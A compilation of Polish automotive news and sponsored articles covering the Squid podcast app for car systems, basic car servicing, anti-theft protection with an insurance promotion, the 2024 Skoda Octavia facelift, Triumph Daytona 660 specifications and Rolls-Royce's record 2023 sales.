  • App Store,
  • Google Play Store
  • Huawei AppGallery

Po uruchomieniu wystarczy wybrać tematykę, która nas interesuje i aplikacja w kolejnym ruchu zaczyna pokazywać nam określone treści. Do listy kategorii dodano także wideo, kanały You Tube (też podzielone na kategorie, np. gaming&tech, humor, lifestyle oraz np. shortsy you tuberów).

Podcasty na aplikacji Squid można już „subskrybować”, wystarczy dodać taką kategorię w ustawieniach. Po sparowaniu apki w samochodzie przez jeden ze standardów (Apple lub Android), apka udostępnia możliwość wyboru kategorii ulubionych podcastów, wyświetlając je w wygodny dla kierowcy sposób. Obsługa została stworzona z myślą od prowadzących auto.

Squid – kategorie podcastów

Do wyboru są m.in takie kategorie podcastów jak:

Dodatkową funkcją jest możliwość zapamiętanie ulubionego, lub ciekawego podcastu, czy odcinka, do którego chcemy wrócić w przyszłości.

squid podcast

Squid Podcasts kompatybilne z Apple CarPlay i Android Auto

Dzięki Squid Podcasts użytkownicy mają teraz:

  • dostęp do tysięcy podcastów z różnych kategorii, od wiadomości po technologię, rozrywkę i sport;
  • szeroką gamę języków do wyboru;
  • możliwość słuchania bez rozpraszania uwagi i użycia rąk, przy użyciu funkcji VoiceControl;
  • kompatybilność z większością smartfonów i pojazdów dzięki Apple CarPlay i Android Auto;
  • łatwą nawigację i odkrywanie podcastów na ekranie lub za pomocą głosu.

Cieszymy się, że możemy przedstawić tę przełomową aktualizację Squid, odpowiadającą na wyzwanie, jakim jest bycie informowanym i inspirowanym w dzisiejszym szybko zmieniającym się świecie. Wierzymy, że wiedza powinna być łatwo dostępna, nawet w podróży. Wraz z tą premierą robimy znaczący krok naprzód, mając na celu zainspirowanie kierowców samochodów do łączenia się z wiadomościami i informacjami. Jednocześnie wspieramy wydawców w dotarciu do tej istotnej grupy odbiorców – mówi CEO i założyciel Johan Othelius

Squid chce tym samym uprościć dostęp do wiadomości i rozrywki dla użytkowników.

squid podcast

Co to jest Squid?

Squid App (Njuice AB) to firma technologiczna z siedzibą w Sztokholmie i jednocześnie nazwa aplikacji informacyjnej, integrującej newsy z różnych stron i platform. Aplikacja kierowana jest do pokolenia milenialsów w Europie, Azji, Południowej Afryce i Ameryce Łacińskiej, na której mogą oni wybrać interesujące ich kategorie newsów i magazynów, które chcą codziennie monitorować. Są to m.in. motoryzacja, technologie, aktualności, styl życia, muzyka, czy podróże. Tuż po wyborze otrzymujemy zestawienie najciekawszych wg apki leadów z informacji (wraz a odpowiednim linkiem) do stron branżowych poświęconych danej tematyce.

Aplikacja działa w ponad 60 krajach i ma ponad 20 milionów użytkowników miesięcznie. Aplikacja Squid otrzymała bardzo dobre recenzje konsumentów w App Store, Google Play Store i Huawei AppGallery, a także bardzo pozytywne recenzje w mediach na wszystkich rynkach, gdzie została uruchomiona. Od teraz Squid oferuje także podcasty dla Apple CarPlay i Android Auto.

Source: Squid uruchamia podcasty, których łatwiej posłuchasz w samochodzie – premiera na Mobile World Congress 2024

Szukasz warsztatu samochodowego? Sprawdź, gdzie warto wykonać naprawę

Dodatkowy przegląd pozwala uchronić się przed wieloma kosztami, wynikającymi z braku odpowiedniej dbałości o wymianę elementów i płynów eksploatacyjnych.

  1. Przegląd samochodu podstawowy
  2. Serwis samochodowy w Grodzisku Mazowieckim a podstawowy przegląd samochodu
  3. Dlaczego warto wykonywać podstawowy przegląd techniczny auta?
  4. Podstawowy przegląd samochodu – cena

Przeprowadzenie badania technicznego samochodu lub naprawy w przypadkowym warsztacie może spowodować skrócenie żywotności pojazdu i przyczynić się do występowania częstych usterek. Wymiana płynu hamulcowego, uzupełnienie płynu katalitycznego, naprawa skrzyni biegów, wymiana świecy i inne usługi powinny być wykonywane wyłącznie u sprawdzonych mechaników. Jeśli nadal szukasz dobrego warsztatu, skup się nie tylko na tym, ile kosztuje podstawowy przegląd samochodu, ale i na ocenach warsztatu wystawionych przez klientów. Dzięki temu zyskasz pewność, że usługa podstawowego przeglądu samochodu w Grodzisku Mazowieckim została wykonana prawidłowo.

Przegląd samochodu podstawowy

Badanie techniczne samochodu osobowego to ogólna ocena stanu technicznego pojazdu. Podczas przeglądu sprawdzane są różne elementy: nadwozie, lakier, opony i koła. Badany jest także stan hamulców i silnika, w tym poziom oleju i płynów. W razie potrzeby mechanik wykonuje wymianę oleju silnikowego. Sprawdza także układ wydechowy, elektryczny (działanie świateł, klimatyzacji) oraz wnętrze pojazdu, w tym stan siedzeń i tapicerki. Przegląd ma na celu zidentyfikowanie ewentualnych usterek lub problemów, które mogą wpłynąć na bezpieczeństwo jazdy. Regularne wizyty w stacjach kontroli pojazdów pomaga utrzymać samochód w dobrym stanie technicznym. 

Sprawdź, ile kosztuje przegląd samochodu podstawowy Grodzisk Mazowiecki w stacji kontroli pojazdów.

Przeprowadzenie podstawowego przeglądu przede wszystkim służy wydłużeniu żywotności pojazdu. Usunięcie niewielkiej usterki sprawia, że główne elementy danego układu są lepiej chronione przed uszkodzeniem. Wymiana uszczelki za 30 zł sprawia, że część za 300-400 zł służy znacznie dłużej. Dzięki regularnym przeglądom skutecznie chroni się silnik, skrzynię biegów automatyczną lub manualną, układ hamulcowy i kierowniczy. 

Warsztat samochodowy Grodzisk Mazowiecki polecany przez klientów sprawdzi każdy układ samochodu i pomoże sprawnie usunąć każdą usterkę. 

Serwis samochodowy w Grodzisku Mazowieckim a podstawowy przegląd samochodu

Przegląd podstawowy w Grodzisku Mazowieckim to usługa, którą powinno się przeprowadzać regularnie w sprawdzonych serwisach. Zaniechanie przeglądów sprawia, że pozornie błaha usterka niewykryta w porę lub ignorowana przez właściciela auta często w niedługim czasie przyczynia się do konieczności przeprowadzania kosztowniejszych napraw. Bez względu na to, gdzie przeprowadza się przegląd samochodu cena takiej usługi jest niższa niż choćby regeneracji skrzyni biegów lub wymiany głównych elementów układu hamulcowego. Ponadto przegląd trwa krócej niż naprawa auta, które nie nadaje się do dalszej jazdy do czasu usunięcia poważnej usterki. 

 Co ważne, każdy kierowca powinien pamiętać, że przegląd samochodu to nie to samo co obowiązkowe badania okresowe pojazdu. Mechanik samochodowy w Grodzisku Mazowieckim może wykonać oba badania, jednak jeśli kierowca nie zgłosi chęci zrobienia przeglądu, w przyszłości za poważniejsze naprawy będzie musiał zapłacić więcej.

Dlaczego warto wykonywać podstawowy przegląd techniczny auta?

Przegląd podstawowy samochodu warto wykonywać regularnie, gdyż dzięki niemu można skutecznie zapobiec poważnym awariom auta. Ile trwa przegląd samochodu podstawowy? Przegląd można wykonać już w ciągu 30-60 minut w zależności od tego, jaki jest aktualny stan techniczny pojazdu. Tylko tyle czasu trzeba, by mechanik upewnił się, czy płyny eksploatacyjne mają odpowiednią jakość i czy nie wymagają wymiany. Nieco więcej czasu potrzeba fachowcom, gdy muszą wymienić drobne elementy eksploatacyjne, jak np. uszczelki, żarówki itp. Warto jednak zdecydować się na przeglądy w regularnych odstępach czasowych, gdyż dzięki nim oszczędza się czas i pieniądze, które poświęciłoby się na bardziej skomplikowane naprawy.

Podstawowy przegląd samochodu – cena

Czy przegląd samochodu jest drogi? Warsztat samochodowy w Grodzisku Mazowieckim ustala cenę przeglądu podstawowego na podstawie kilku czynników. Przede wszystkim wpływa na nią zakres usług wykonanych przez mechanika. Równie istotny jest fakt, czy przegląd przeprowadza autoryzowany serwis samochodów danej marki, czy też warsztat, w którym można dokonać przeglądu wszystkich aut bez względu na ich markę. O koszt usługi warto pytać bezpośrednio w warsztacie, choć można sprawdzić go orientacyjnie także w wyszukiwarce warsztatów samochodowych Q Service Castrol w okolicy.

Source: Szukasz warsztatu samochodowego? Sprawdź, gdzie warto wykonać naprawę

Jak zabezpieczyć samochód przed kradzieżą?

Sprawdzone sposoby na zabezpieczenie auta przed kradzieżą

Istnieje wiele metod na ochronę auta przed złodziejami, jednak nie każda z nich jest tak samo skuteczna. Dobór najlepszego sposobu powinien odbyć się na podstawie określonych czynników – między innymi miejsca, w którym jest parkowane auto, a także jego garażowania i wyposażenia w dodatkowe zabezpieczenia. Poniżej znajdziesz kilka sposobów na ochronę samochodu przed kradzieżą.

Nowoczesne autoalarmy – nie tylko migoczące światła i głośne dźwięki

Chyba każdy z nas kojarzy stosowane lata temu autoalarmy, które często zakłócały spokój na osiedlach – szczególnie w środku nocy. Na ogół jednak skutecznie odstraszały one złodziei. Obecnie kierowcy mają do dyspozycji bardziej nowoczesne rodzaje alarmów.

W przypadku próby włamania do auta właściciel niezwłocznie otrzymuje powiadomienie na swój telefon, dzięki czemu może szybko zareagować. Tego typu alarmy muszą być jednak odpowiednio zamontowane, aby były skuteczne.

Systemy lokalizacji pojazdu

Choć różne typy systemów lokalizacji nie mają na celu uchronienia auta przed kradzieżą, to pozwalają na bardzo szybkie namierzenie pojazdu. Dzięki temu można znaleźć auto, zanim zostanie zdemontowane na części. Należy bowiem wiedzieć, że na ogół kradzione auta nie są sprzedawane w całości – dla złodzieja o wiele bezpieczniejsza i szybsza jest sprzedaż na części.

Radiowy system lokalizacji pojazdu, który namierza auto przy wykorzystaniu fal radiowych, jest skuteczny i efektywny. Jednocześnie sygnału nie zakłócą stosowane przez złodziei urządzenia (np. zagłuszarki).

Znakowanie samochodu mikrocząsteczkami

Znakowanie pojazdów to metoda, która stosowana jest od dawna. Na przestrzeni lat wykorzystywano różne metody oznaczania poszczególnych części. Obecnie stosowane są poliestrowe mikrocząsteczki o rozmiarach od 0,5 do 1,0 mm. Na różnych częściach umieszcza się ich nawet kilka tysięcy – wykrycie wszystkich cząsteczek przez złodzieja jest niemożliwe. Nawet jedna mikrocząsteczka pozwala na identyfikację pojazdu. To z kolei umożliwia właścicielowi namierzenie auta – a przynajmniej niektórych części.

Odpowiednie ubezpieczenie na samochód to podstawa!

Nie ma wątpliwości co do tego, że najlepszym sposobem na zabezpieczenie się przed skutkami kradzieży auta jest  ubezpieczenie na samochód, które obejmuje to zdarzenie. Oprócz obowiązkowego OC (https://www.link4.pl/ubezpieczenie-samochodu) warto zdecydować się także na polisę AutoCasco. Zapewni ona ochronę na wypadek kradzieży pojazdu i uzyskanie odszkodowania.

Jedną z opcji AutoCasco (https://www.link4.pl/ubezpieczenie-samochodu/ubezpieczenie-ac-autocasco) jest stała suma ubezpieczenia, która w razie kradzieży pozwala na uzyskanie odszkodowania w wysokości           wartości pojazdu z dnia złożenia wniosku o ubezpieczenie. To idealna propozycja dla osób, które posiadają nowe i drogie samochody. I nie tylko – również właściciele nieco starszych aut docenią takie rozwiązanie     . AutoCasco zapewnia ochronę nie tylko na wypadek kradzieży, ale też wielu innych, nagłych i nieprzewidzianych zdarzeń.

W ofercie LINK4 znajdziesz różne rodzaje ubezpieczenia na samochód, dzięki czemu dopasujesz zakres ochrony do swoich potrzeb i oczekiwań. Już teraz porozmawiaj bezpośrednio z naszym konsultantem pod numerem telefonu 22 444 44 44 lub osobiście spotkaj się z agentem współpracującym z LINK4, który przedstawi Ci warianty ubezpieczenia i umożliwi sfinalizowanie zakupu. Swoją składkę możesz sprawdzić także w kalkulatorze online, dostępnym na stronie LINK4.

Szczegółowe informacje o produktach, limitach i wyłączeniach, a także OWU dostępne są na stronie www.link4.pl.

Materiał powstał przy współpracy z LINK4.

Source: Jak zabezpieczyć samochód przed kradzieżą?

Tak będzie wyglądać nowa Skoda Octavia 2024! Producent ujawnił film

Spis treści

Fani marki odliczają dni do premiery Skody Octavii po modyfikacjach, która ma nastąpić 14 lutego 2024 roku. Czy możemy się spodziewać przełomu? Co już wiemy o modelu Skoda Octavia 2024? Narazie producent wiele nie zdradza, choć zamieścił poniższy film.

Wiemy na pewno, że jest to jedna z najbardziej wyczekiwanych premier tego roku. Polscy kierowcy interesują się tym modelem nie tylko do wykorzystania firmowego, ale także prywatnie. Według IBRM Samar w zeszłym roku kupiono w Polsce blisko 16 tys. egzemplarzy Octavii – to 30% wszystkich rejestracji osobowych marki i 3,33 procenta całego rynku nowych aut w naszym kraju.

Skoda Octavia 2024

Skoda Octavia 2024 – wiemy jak wygląda!

Niedługo przed debiutem samochodu producent zaprezentował krótki zwiastun przedstawiający zewnętrzne modyfikacje modelu. Teaser przedstawia auto w nadwoziu hatchback, choć już teraz wiemy, że samochód będzie oferowany, także jako Combi.

Wideo prezentuje zaktualizowaną stylistykę nadwozia samochodu, która charakteryzuje się zmienionym frontem (pionowe wloty powietrza w dolnej części zderzaka) z inną atrapą chłodnicy. Zmieniono także wzór przednich lamp – wyglądają nieco bardziej agresywnie. Bryła jednak nie wydaje się znacząco zmieniona.

Na tylnej klapie znajduje się nowy napis Škoda, zbieżny z najświeższymi modelami marki.

Skoda Octavia 2024 będzie przeszła z pewnością również zmiany we wnętrzu. Zapewne spodziewać się można nowych materiałów wykończeniowych, innej kolorystyki detali oraz nowych udogodnień dla kierowców w zakresie bezpieczeństwa i rozrywki na pokładzie. Nie zabraknie rozwiązań, z których słynie Skoda, czyli tzw. patentów „simply clever”.

Skoda Octavia Combi 2024 – kiedy zobaczymy?

Czwarta generacja Skody Octavii Combi, została wprowadzona w listopadzie 2019 r. i był to pierwszy w historii marki seryjnie produkowany model z dostępną technologią miękkiej hybrydy e-TEC. Po raz pierwszy marka zaoferowała również hybrydę plug-in, Škodę Octavia Combi iV, która jest dostępna również w wersji sportowej RS.

Aktualna generacja bestsellera marki przekroczyła już granicę ćwierć miliona sztuk dostarczonych do klientów. Tym samym Skoda Octavia Combi trafiła w ciągu ostatniego ćwierćwiecza do ponad 2,8 miliona klientów.

Już 14 lutego dowiemy się, czy czeska marka zdecyduje się jednocześnie pokazać oba warianty nadwoziowe wyczekiwanego auta.

Skoda Octavia – historia

Škoda Octavia zadebiutowała w 1959 roku, natomiast jej bardziej praktyczna wersja, Octavia Combi, została wprowadzona na rynek 11 września 1960 r. W latach 1961-1971 z zakładu w Kvasinach wyjechało 54 100 egzemplarzy modelu.

Skoda Octavia I

Skoda Octavia I

Kolejny rozdział rozpoczął się w 1992 r., wkrótce po połączeniu Škody z Grupą Volkswagen. Od tego czasu model był produkowany na platformie Audi A4. Przestrzeń bagażowa modelu (od 548 do 1 512 litrów) należała do największych w swojej klasie. W 1998 r. wersja Combi stanowiła 15% sprzedaży z całej gamy modelowej. W 2001 r. odsetek ten wzrósł już do 40,5%. W ciągu 13-letniej kariery wyprodukowano 470 600 egzemplarzy.

Skoda Octavia II

Druga generacja Škody Octavia Combi została zaprezentowana publiczności w 2004 r. Przez 6 lat produkowana była równolegle z modelem pierwszej generacji, ponieważ auta doskonale uzupełniały się na rynku. Do 2013 r. na wariant Combi zdecydowało się 881 200 klientów, co stanowiło 33% globalnej sprzedaży z całej gamy modelowej.

Skoda Octavia Combi 2

Skoda Octavia III

Škoda Octavia Combi trzeciej generacji, wprowadzona na rynek 7 marca 2013 r., odniosła jeszcze większy sukces. Gama rozszerzyła się o wersję wyposażenia Scout, z zaawansowanym napędem 4×4, automatyczną skrzynią biegów i wieloma nowoczesnymi systemami. W latach 2012-2020 zakłady produkcyjne opuściło 1 195 500 sztuk modelu.

Skoda Octavia Combi 3

Skoda Octavia IV

Obecna, czwarta generacja auta została po raz pierwszy zaprezentowana w 2019 roku. Samochód przeszedł wyraźne wizualne zmiany – urósł i zyskał więcej ostrych linii. Octavia IV ma zbieżny design z prezentowanym pod koniec 2018 roku modelem Scala – ma ścięte reflektory (znów jednoczęściowe) i podłużne tylne lampy. Obecny wygląd mógł się już opatrzeć a producent musi nadążać za zmianami u rywali. Także we własnym koncernie ma mocną konkurencję. Niedawno zaprezentowano także Golfa po faceliftingu.

Skoda Octavia Combi 4


Source: Tak będzie wyglądać nowa Skoda Octavia 2024! Producent ujawnił film

Triumph Daytona 660 MY24 zaprezentowany. Powalczy z japońskimi markami? Zobacz zdjęcia i dane techniczne

Spis treści

Triumph Daytona 660 ma chęć powalczyć z europejskimi i japońskimi producentami sportowych motocykli klasy 600. To ma być zwinny i charakterny jednoślad, który ma zapewniać ekscytujące osiągi, a także całodzienny komfort jazdy.

Przeczytaj też: Nowy Triumph Tiger 900 mocno podnosi poprzeczkę

Triumph Daytona 660 – wygląd

Daytona zostało zaprojektowana od początku, ze świeżym podejściem, aby uzyskać nową, agresywną sylwetkę, czystą, smukłą linię. Charakterystyczne podwójne, przednie reflektory LED współgrają z centralnym wlotem powietrza, a minimalistyczne nadwozie podkreśla atletyczną linię tego modelu wyprofilowanym tylnym światłem LED. Zoptymalizowano pozycję kierownicy i podnóżków (m.in. dzięki montażowi sportowej kierownicy typu clip-on nad górnym jarzmem).

Siedzenie zawieszono na wysokości 810 mm. Dzięki dostępnemu, akcesoryjnemu, obniżanemu siedzeniu można zmniejszyć wysokość siedziska o dodatkowe 25 mm do 785 mm.

Dostępne są trzy efektowne opcje kolorystyczne – wszystkie z odważną grafiką „660” inspirowaną wyścigami.

Triumph Daytona 660 – akcesoria

Zgodnie z oczekiwaniami klientów Triumpha, Daytona oferuje ponad 30 oryginalnych akcesoriów marki Triumph. Motocykliści poszukujący na padoku jeszcze bardziej rozpoznawalnego wyścigowego stylu, mogą wybrać malowaną osłonę siedzenia, a także szereg obrobionych maszynowo części, w tym korek wlewu oleju, wstępnie nawiercony pod okablowanie blokujące, zestaw rolek, końcówki kierownicy i zbiornik tylnego hamulca.

Dostępne są też:

  • podgrzewane manetki,
  • gniazdo USB montowane pod siedzeniem
  • system monitorowania ciśnienia w oponach (TPMS)
  • torba na zbiornik paliwa
  • torba na bagażnik.

Nowe akcesoria zabezpieczające, w zależności od dostępności na danym rynku, obejmują system alarmowy Triumph Protect+ i moduł śledzący Triumph Track+ z monitorowaniem 24/7, a także kompleksową gamę blokad.

Triumph Daytona 660 MY24

Triumph Daytona 660 MY24

Triumph Daytona 660 – moc silnika i skrzynia biegów

Motocykl jest wyposażony w trzycylindrowy silnik Triumpha o pojemności 660 cm3 , z mocą 95 KM i maksymalnym momentem obrotowym 69 Nm. Taka jednostka ma zapewniać płynne, responsywne i liniowe dostarczanie mocy, łącząc nisko położony moment obrotowy, średnią moc i moc końcową w najwyższym zakresie. Oprócz wzrostu mocy o 17% i o 9% większego momentu obrotowego niż w Tridencie, Daytona 660 wyposażona jest również w nowy układ wydechowy – wyposażony w głowice 3 w 1 i kompaktowy podwieszany tłumik z wykończeniem ze stali nierdzewnej – oddający niepowtarzalny, sportowy dźwięk.

Silnik Daytony ma czerwone pole, zaczynające się od 12 650 obr./min. Ponad 80% maksymalnego momentu obrotowego dostępne jest już przy 3 125 obr./min.

Moc przekazywana jest dzięki sześciobiegowej skrzyni biegów, a sprzęgło Triumph Torque Assist, ma zapewniać progresywne i lekkie działanie dźwigni. Konstrukcja sprzęgła poprawia również kontrolę tylnego koła podczas gwałtownego zwalniania, co może mieć wpływ na płynne i pewne wchodzenie w zakręty.

Quickshifter jest dostępny wśród akcesoriów umożliwiające szybką i łatwą zmianę biegów w górę i w dół bez użycia sprzęgła, jeszcze łatwiejszą jazdę po mieście przy pełnym otwarciu przepustnicy i oraz płynną redukcję przełożeń z automatycznym międzygazem.

W opcji można zakupić zestaw do konwersji na prawo jazdy kat. A2, ze specjalną manetką i ustawieniami silnika ograniczającymi moc do 35 kW. Zestaw można zamontować u dealera Triumpha, a także później powrócić do ustawień fabrycznych.

Triumph Daytona 660 – zawieszenie

W skład podwozie Daytony 660 wchodzi:

  • przedni widelec Showa USD o średnicy 41 mm
  • tylny amortyzator Showa typu monoshock RSU z regulacja napięcia wstępnego.

Nowa Daytona 660 czerpie korzyści z wielu lat rozwoju podwozia, które zwyciężało w wyścigach, a dzięki lekkiej sportowej ramie, najwyższej jakości przedniemu odwróconemu widelcowi Big Piston o średnicy 41 mm Showa i tylnemu zawieszeniu Showa, zapewniając łatwą i zwinną jazdę. Tylne zawieszenie posiada również zdalną hydrauliczną regulację napięcia wstępnego, umożliwiającą szybkie ustawienie.

Triumph Daytona 660 MY24

Triumph Daytona 660 MY24

Triumph Daytona 660 – hamulce i opony

Na układ hamulcowy składają się radialne, czterotłoczkowe hamulce z dwiema tarczami o średnicy 310 mm i przewodami hamulcowymi w oplocie. Motocykl wyposażony został w modulator ABS firmy Continental.

Lekkie, pięcioramienne koła z odlewanego aluminium, obniżające masę wirującą, mają zapewniać responsywne prowadzenie. Najnowsze opony Michelin Power 6 montowane są w standardzie.

Triumph Daytona 660 – tryby jazdy

Aby zawsze zapewnić motocykliście poczucie pełnej kontroli, Daytona 660 jest wyposażona w trzy tryby jazdy (Sport, Road i Rain), które optymalizują reakcję przepustnicy i ustawienia kontroli trakcji w zależności od warunków. Nowy system Emergency Deceleration Warning włącza światła awaryjne, aby ostrzec innych użytkowników drogi podczas gwałtownego hamowania.

Tryb Sport zapewnia najszybszą reakcję przepustnicy podczas jazdy szosowej lub sesji na torze. System kontroli trakcji można również wyłączyć za pomocą menu. Docenią to motocykliści, którzy wolą całkowitą wolność od interwencji systemów elektronicznych.

Daytona 660 wyposażona jest system Ride-by-Wire (zapewnia odczuwalną i precyzyjną reakcję przepustnicy).

Triumph Daytona 660 – wyświetlacz

Triumph Daytona 660 ma kolorowy ekran TFT zintegrowany z czarno-białym wyświetlaczem LCD. Według producenta „kompaktowy i przejrzysty układ sprawia, że ​​wszystkie niezbędne dla kierowcy informacje, są wyraźnie wyświetlane i łatwe do odczytania niezależnie od warunków oświetlenia”. Wyświetlacz jest kompatybilny z systemem łączności bluetooth My Triumph, który umożliwia nawigację „zakręt po zakręcie” oraz obsługę telefonu, jak i playlist. Wszystkie funkcje są wyświetlane na ekranie TFT i sterowane za pomocą przełącznika.

Triumph Daytona 660 MY24

Triumph Daytona 660 MY24

Triumph Daytona 660 – kiedy w Polsce?

Zamówienia na Daytonę można złożyć u lokalnego dealera Triumph. Motocykle będą dostępne w salonach na przełomie marca i kwietnia 2024 r.

Dla chętnych nabywców Daytony 660 producent przewidział:

  • interwały między przeglądami wynoszące 16 000 km,
  • dwuletnią gwarancję bez limitu przebytych kilometrów

Polski importer zapewnia o wysokiej wartości rezydualnej firmy Triumph, co ma przyczyniać się do zapewnienia konkurencyjnego kosztów użytkowania.

Triumph Daytona 660 – dane techniczne

SILNIK I PRZENIESIENIE NAPĘDU

Rodzaj Chłodzony cieczą, 3 cylindrowy w układzie rzędowym, 12-zaworowy, DOHC  240° kolejność zapłonu
Pojemność 660 cm³
Średnica 74.04 mm
Suw 51.1 mm
Stopień sprężania 12.05:1
Maksymalna moc 95 KM (70 kW) przy 11,250 obr./min
Maksymalny moment obrotowy 69 Nm. przy 8,250 obr./min
Układ zasilania Elektroniczny sekwencyjny wielopunktowy wtrysk paliwa z elektroniczną kontrolą przepustnicy
Układ wydechowy Stal nierdzewna, system głowicowy 3-1, tłumik ze stali nierdzewnej montowany z boku
Układ napędowy Łańcuch X-ring
Sprzęgło Mokre, wielotarczowe, slip & assist
Skrzynia biegów 6 biegowa

PODWOZIE

Rama Rama obwodowa z rur stalowych
Wahacz Obustronny, odlewany ze stali
Przednie koło Odlewane z aluminium, pięcioramienne 17 x 3.5 cala
Tylne koło Odlewane z aluminium, pięcioramienne 17 x 5.5 cala
Przednia opona 120/70 Z R17
Tylna opona 180/55 Z R17
Przednie zawieszenie Widelce Showa, upside down z oddzielnym dużym tłokiem 41 mm (SFF-BP), skok zawieszenia 110 mm
Tylne zawieszenie Amortyzator Showa typu monoshock RSU z regulacja napięcia wstępnego, skok zawieszenia 130 mm
Przedni hamulec Podwójne pływające tarcze hamulcowe 310 mm, 4-tłoczkowe, radialne zaciski, ABS
Tylny hamulec Jedna pływająca tarcza hamulcowa 220 mm, jednotłoczkowe, przesuwne zaciski, ABS
Przyrządy Wielofunkcyjny kolorowy ekran TFT
  WYMIARY ORAZ MASA
Długość 2083.8 mm
Szerokość kierownicy 736 mm
Wysokość bez lusterek 1145.2 mm
Wysokość siedzenia 810 mm
Rozstaw osi 1425.6 mm
Kąt pochylenia główki ramy 23.8°
Wyprzedzenie 82.3 mm
Masa z płynami 201 kg (90% paliwa)
Pojemność zbiornika paliwa 14 L
    ZUŻYCIE PALIWA  
Zużycie paliwa 4.9 l / 100 km
Emisja CO2 113 g/km
Standardy emisji EURO 5+
Emisja CO2 i zużycie paliwa zmierzono zgodnie z rozporządzeniem 168/2013/WE. Wartości parametrów dotyczących zużycia paliwa pochodzą ze specyficznych warunków testowych i przedstawiono je wyłącznie w celach porównawczych. Mogą one nie odzwierciedlać rzeczywistych wartości uzyskiwanych podczas jazdy.
  SERWIS
Interwał między przeglądami 16,000 km lub 12 miesięcy, w zależności od tego, co nastąpi wcześniej.

Source: Triumph Daytona 660 MY24 zaprezentowany. Powalczy z japońskimi markami? Zobacz zdjęcia i dane techniczne

Padł rekord sprzedaży Rolls-Royce’ów w Polsce! Jakie modele pokochali bogaci Polacy?

Rolls-Royce Motor Cars zakończył rok 2023 z rekordową sprzedażą, ale także zamówienia na wyrafinowane – wykonywane na specjalne życzenie – wersje modeli, zwane w marce „Bespoke”, również osiągnęły nienotowany dotychczas poziom.

Rolls-Royce Phantom

Rolls-Royce Phantom

Standardowy Rolls jest passe – aby się wyróżnić Polacy inwestują w Bespoke

Filarem nadzwyczajnych wyników firmy jest różnorodna oferta, szczególnie w odniesieniu do personalizacji Bespoke i zdolności marki do spełniania stale rosnących oczekiwań klientów. Zamówienie wnętrza zgodnego z ulubioną barwą lakieru właścicielki? Czemu nie?! Specjalna sygnatura na obiciach foteli – nie ma problemu! A może powiększona lodówka na drogiego szampana? Da się zrobić!

Black Badge Ghost Ékleipsis

Black Badge Ghost Ékleipsis

Rozwój możliwości w zakresie Bespoke – wspierany przez rozwój międzynarodowej sieci studiów Private Office – zaowocował większą liczbą zleceń tego typu, o wyższej wartości niż kiedykolwiek wcześniej. Klienci inwestują w coraz to bardziej wymyślne, ale i drogie w zaimplementowaniu do aut rzeczy: wykorzystują kamienie szlachetne lub kryształy Svarowskiego, zamawiają specjalne, delikatne skóry, egzotyczne drewna, lub gadżety, których spodziewają się na pokładzie. Często – jako wyraz swojej pasji – życzą sobie, aby uwzględnić jakiś symbol ulubionego hobby w desce rozdzielczej.

Przeczytaj też: Rolls-Royce testuje silnik wodorowy – to pierwszy taki test na świecie

Rolls-Royce Droptail La Rose Noire

Rolls-Royce Droptail La Rose Noire

Rolls-Royce – sprzedaż aut na świecie w 2023 roku

Globalna sprzedaż marki Rolss-Royce wyniosła w 2023 roku 6032 samochodów. To liczba, która jest satysfakcjonująca dla producenta. Trudno ją porównywać ze sprzedażą aut masowych. Pamiętajmy, że – np. w Polsce – średnia cena za jeden egzemplarz przekracza 2 miliony złotych! Wszystkie samochody Rolls-Royce są ręcznie budowane w siedzibie marki w Goodwood w Wielkiej Brytanii i każdy z nich zawiera unikalne elementy Bespoke.

Podczas gdy w 2023 r. (zgodnie z planem brytyjskiego producenta) zakończyła się produkcja popularnych modeli Wraith i Dawn, rok ten zostanie zapamiętany ze względu na rozpoczęcie produkcji i sprzedaży Rolls-Royce’a Spectre – pierwszego auta elektrycznego marki w Goodwood. Pierwsze dostawy do klientów miały miejsce jesienią, kilka z nich trafiło również do Polski.

Rolls-Royce Spectre

Rolls-Royce Spectre

Po publicznej premierze tego modelu w październiku 2022 roku, pierwszy w pełni elektryczny Rolls-Royce w historii wzbudził ogromne zainteresowanie, szczególnie wśród młodszych klientów, które przełożyło się na zamówienia sięgające 2025 roku!

Na fali sukcesów, w 2023 roku firma ogłosiła nową inwestycję na terenie Goodwood – zwiększenie mocy produkcyjnych i możliwości personalizacji Bespoke oraz wsparcie rozwoju programu Coachbuild. W minionym roku przemianę przeszły także salony marki.

Rolls-Royce Spectre

Rolls-Royce Spectre

„Rok 2023 był kolejnym niezwykłym rokiem dla Rolls-Royce’a, z solidnymi wynikami sprzedaży we wszystkich regionach i w całym portfolio produktów. Szczególnie zachęcające jest ogromne zainteresowanie i popyt na Spectre, co potwierdza słuszność decyzji o przyjęciu odważnej, „całkowicie elektrycznej” strategii rozwoju i produkcji przyszłych modeli. Rekordowy poziom zamówień Bespoke, zarówno pod względem wolumenu, jak i wartości, również podkreśla naszą pozycję w sektorze luksusowym, oferując naszym klientom możliwości wyrażania siebie i personalizacji, których nie można znaleźć nigdzie indziej. Jako nowy CEO jestem w niezwykle szczęśliwej sytuacji, przejmując odpowiedzialność za firmę w dobrej kondycji, z mocnymi fundamentami i jasną strategią wzrostu i rozwoju, ogromnymi możliwościami technicznymi i skoncentrowanym, oddanym zespołem. Z niecierpliwością czekam na współpracę z wszystkimi pracownikami Rolls-Royce’a, aby utrzymać tę dynamikę i poprowadzić tę wspaniałą firmę naprzód z pewnością siebie i przekonaniem”. Chris Brownridge, Chief Executive Officer, Rolls-Royce Motor Cars

Przeczytaj nasz test: Rolls-Royce Ghost Black Badge – odwiedziłam nim 3 kraje na trasie z Rygi do Warszawy

Rolls-Royce Bespoke

Rolls-Royce Bespoke – personalizowany kokpit na indywidualne zamówienie

Rolls-Royce – modele w Polsce i liczba zarejestrowanych egzemplarzy

Rok 2023 był także wyjątkowo udany dla Rolls-Royce Motor Cars na polskim rynku. Wyłączny dealer marki w Warszawie zanotował najwyższe wyniki sprzedaży od momentu, gdy w 1913 roku pierwszy polski klient odebrał swój samochód, a więc ponad 110 lat temu.

Modele Ghost i Cullinan osiągnęły swoje szczyty sprzedażowe, podczas gdy Phantom przyciągnął stałą liczbę klientów.

Rolls-Royce Bespoke

Model Spectre zebrał pozytywne recenzje. Kilku klientów z Polski otrzymało już swojego własnego pierwszego elektrycznego Rolls-Royce’a w IV kwartale roku, przy czym księga zamówień sięga daleko w 2025 rok.

Według danych Instytutu Samar liczba rejestracji Rolls-Royce’ów w Polsce osiągnęła w 2023 roku 20 egzemplarzy, czyli aż o 13 modeli więcej niż w 2022 roku (7 sztuk). Jest to wzrost o 185,7% rok do roku.

Przeczytaj też:
